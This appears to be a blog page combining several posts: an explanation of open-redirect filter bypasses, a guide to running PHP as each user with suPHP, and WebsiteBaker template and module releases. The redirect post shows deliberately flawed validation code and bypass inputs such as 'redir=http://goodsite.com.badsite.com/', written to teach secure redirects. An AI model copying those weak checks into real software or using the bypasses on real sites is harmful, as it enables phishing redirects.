if (strpos($redir, "/") === false)
  header("Location: " . $redir);

However, using the quirks above, this can be bypassed by using redir=https:google.com in FF and chrome, and it can be bypassed in IE with redir=\google.com

Broken Example 4 – Built in Libraries:

Surely there are libraries that solve this problem. Well, maybe there are, but there are certainly libraries people use to try to solve this problem, but they don’t do it as people expect (e.g. a library might call a URI relative when a browser treats it as absolute). Making a library that works well is a fundamentally tough problem because all these browsers have quirks and the library has to match all browsers. So is a library supposed to call https:google.com a relative or a full uri? (it’s relative in IE but full in chrome and FF)

Here’s one C# example where someone might try to figure out if a URI is relative URI using the IsAbsoluteUri property in .net system.Uri.

        static void Main(string[] args)
        {

            String[] uriArray = new String[] {
                "//google.com/test.html",                 //relative
                "\\google.com\test.html",              //relative
                "/////////google.com/test.html",          //relative
                "https:google.com",                       //relative
                "http://google.com",                      //absolute
                "http:///////////////////google.com",     //absolute
                "           http://google.com"            //absolute
            };

            foreach (String uriString in uriArray)
            {
                try
                {
                    Uri uri = new Uri(uriString, UriKind.Relative); //works
                    if (!uri.IsAbsoluteUri)
                    {
                        Console.WriteLine("is a relative URI: {0}", uriString);
                    }
                }
                catch (UriFormatException e)
                {
                    Console.WriteLine("not a relative URI: {0}", uriString);
                }
            }
        }

Broken Example 5 – startswith Whitelisted Domain

This is a classic example. Even though it doesn’t have much do do with parsing quirks, it can be subtle and illustrates an important point.  So say an application does the following to make sure the redirect is on the correct domain.

String redir = Request["redir"];
if (redir.StartsWith("http://goodsite.com"))
{
	Response.Redirect(redir);
}

Can an attacker still exploit this? The answer is yes, by setting redir=http://goodsite.com.badsite.com/

What’s the Right Way to do on-domain Redirects?

So open redirects are in the owasp top ten, and they have some guidance here: https://www.owasp.org/index.php/Top_10_2010-A10-Unvalidated_Redirects_and_Forwards. However, to summarize, it basically says to whitelist and don’t redirect. I do agree, but again, what if you want to do on-domain redirects? The best I can think of is to do something like this:

startswith(http://goodsite.com/ || https://goodsite.com/)

Note the trailing slash, which prevents broken example #5.  I don’t think it’s possible to redirect off-site with this type of code… but if someone knows otherwise, I’d definitely be interested in how to do it :)

php multiuser system – the www-data problem

On a lot of multi-user systems, like the one at the school where we have 300+ users all with usermod enabled, we also happen to have other web services running. It’s inconvenient and in insecure for everyone to be running their dynamic web stuff as the same user. I understand this is nearly impossible to do with good security, but this is a university and the point of this server is to let students learn, which means being able to host code.

One security problem in particular is php. suexec was built for cgi-bin stuff – but php is a whole other beast. That’s what I’m talking about here – getting php to run as the user who owns it. More specifically, this will show how /home/user/public_html/myphp.php will run as “user”, but stuff in /var/www will still run as www-data.

One good article I found describing this is here: http://alain.knaff.lu/howto/PhpSuexec/

First things first – mod_php needs to be disabled. This can be done globally, but it’s better to just disable it for public_html dirs. This can be done by adding the following to /etc/apache2/apache2.conf.

<Directory /home>
 php_admin_flag engine off
</Directory>

Now, to enable suphp.

First install php-cgi. and the apache2 prefork which has some things we’ll need later on.

apt-get install php-cgi apache2-prefork-dev

Do not install libapache2-mod-suphp – at least not on 8.04. This older version lacks some of the things most people need… like having more than one directory.

Download the latest suphp module from http://www.suphp.org/Home.html.  Compile this like:

tar xfzv suphp-SNAPSHOT-2008-03-31.tar.gz
cd suphp-SNAPSHOT-2008-03-31
./configure --with-apxs=/usr/bin/apxs2 --with-setid-mode=owner
make
make install

Modify apache’s config

LoadModule suphp_module /usr/lib/apache2/modules/mod_suphp.so
<Directory /home>
AddHandler application/x-httpd-php .php .php3 .php4 .php5 .phtml
suPHP_AddHandler application/x-httpd-php
suPHP_Engine on
</Directory>

Now in /usr/local/etc/suphp.conf

[global]
webserver_user=www-data
docroot=${HOME}/public_html
check_vhost_docroot=false

[handlers]
;Handler for php-scripts
application/x-httpd-php="php:/usr/bin/php-cgi"

Restart apache. To debug, check /var/log/apache2/errors.log.  To test create scripts in public_html directories and in /var/www that exec(‘whoami’) and make sure they’re called with the correct permissions.

It’s a start, but then there’s always stuff like XSS, etc.

Simple Beauty Website Baker Template

This is a port of simple beauty found at oswd.com to websitebaker with some modifications.

You can download the template here.

Here are some Screenshots

First – this is what you get with a simple install. I made it so you don’t need a banner – though it certainly looks better with one I think.

Here it is with a banner.  Though I suppose you don’t need a screenshot for this.  OTOH maybe I’ll change the template again so…

websitebaker module: Random pic with text

This module includes a function you can call to randomly pick an image from a directory. It is based on a module written by John Maats, and I just added the captioning. 

Here is a link to the zip.

<?php
/* Random image snippet
   Call this nsippet with:
   RandomImage ('/media');
   in your template */

function RandomImage($dir) {
        //read folder and get the picture names
        $folder=opendir(WB_PATH.$dir.'/.');
        while ($file = readdir($folder))
        $names[count($names)] = $file;
        closedir($folder);

        //remove any non-images from array
        $tempvar=0;
        for ($i=0;$names[$i];$i++){
                $ext=strtolower(substr($names[$i],-4));
                if ($ext==&quot;.jpg&quot;||$ext==&quot;.gif&quot;||$ext==&quot;.png&quot;){
			$names1[$tempvar]=$names[$i];$tempvar++;
		}
        }

        //random
        srand ((double) microtime() * 10000000);
        $rand_keys = array_rand ($names1, 2);

        //random image from array
        $image=$names1[$rand_keys[0]];

        //name of image for alt text
        $name=substr($image,0,-4);

        //print associated Text
        echo &quot;<p><b>$name</b></p>";

        //read in the file if it exists

        if(file_exists(WB_PATH.$dir . '/' . "$name" . ".txt"))
        {
                $myfile=file(WB_PATH.$dir . '/' . "$name" . ".txt");
                echo '<p>';

                foreach ($myfile as $val)
                {
                  echo "$val ";
                }
                echo '</p>';
        }

        //image dimensions
        $dimensions = GetImageSize(WB_URL.$dir.'/'.$image);
        echo '<img src="'.WB_URL.$dir.'/'.$image.'" alt="'.$name.' image" />';
}
?>

websitebaker modules

Here are two modules I wrote for website baker. One allows you to sort
news arbitrarily, the other allows you to post multiple groups.

Writing these is how I wiped out this very website :) I didn’t have the installer quite right at the time. If you’re installing this, back things up just in case. But they really shouldn’t break anything. I swear.


anews.zip

gnewswrapper.zip

Here is a screenshot of anews. It allows you to sort news posts by title, date, reverstitle, or reversedate. Plus everything else the news module does, as it is just an extension of that.

Here is a screenshot of gnewswrapper. It allows you to post stuff by section from arbitrary groups.

From the readme:

Although the news module is extremely versitile, it lacks an easy way to post products or data items. For example:

-if you have a website that lists various types of faculty
-if you have a page that lists your various types of products
-if you have a page that lists courses for the current term

The news module can almost handle many of these problems. However, there are several shortcomings when the news module is ued for this purpose.

1. Although entries can be reordered, they are ordered by date. It can be a pain to click the up or down arrows until you get an order tham makes sense. With products, it might be better to have the entries ordered by price, for example. For faculty it would most likely be by their name.
2. Multiple groups, and only the groups selected cannot be easily specified. See the example below.

The group wrapper and anews modules provide a solution to this problem.

Example Usage
———-
Problem: I have hundreds of faculty, council members, and staff I want to specify at various points on the webpage. I have a CS page where I want to list the CS faculty. Elsewhere on the website, I have a University Contact page where I want to list everyone.

Solution:

-Create a single anews page that stores all people. Create different groups for CS Faculty, Council Members, etc. Make this page hidden.
-Sort it as desired, probably by name
-Create a group wrapper page and add the groups that you want displayed.

Todo
———–
It’s definitely conceivable of a time where this is insufficient.

-if you want to show items, but not necessarily the whole group
-if you want to show items in an order not specified

It should be pretty easy to extend the module to include these cases

————
These modules were written by Rich Lundeen

Follow

Get every new post delivered to your Inbox.

Join 36 other followers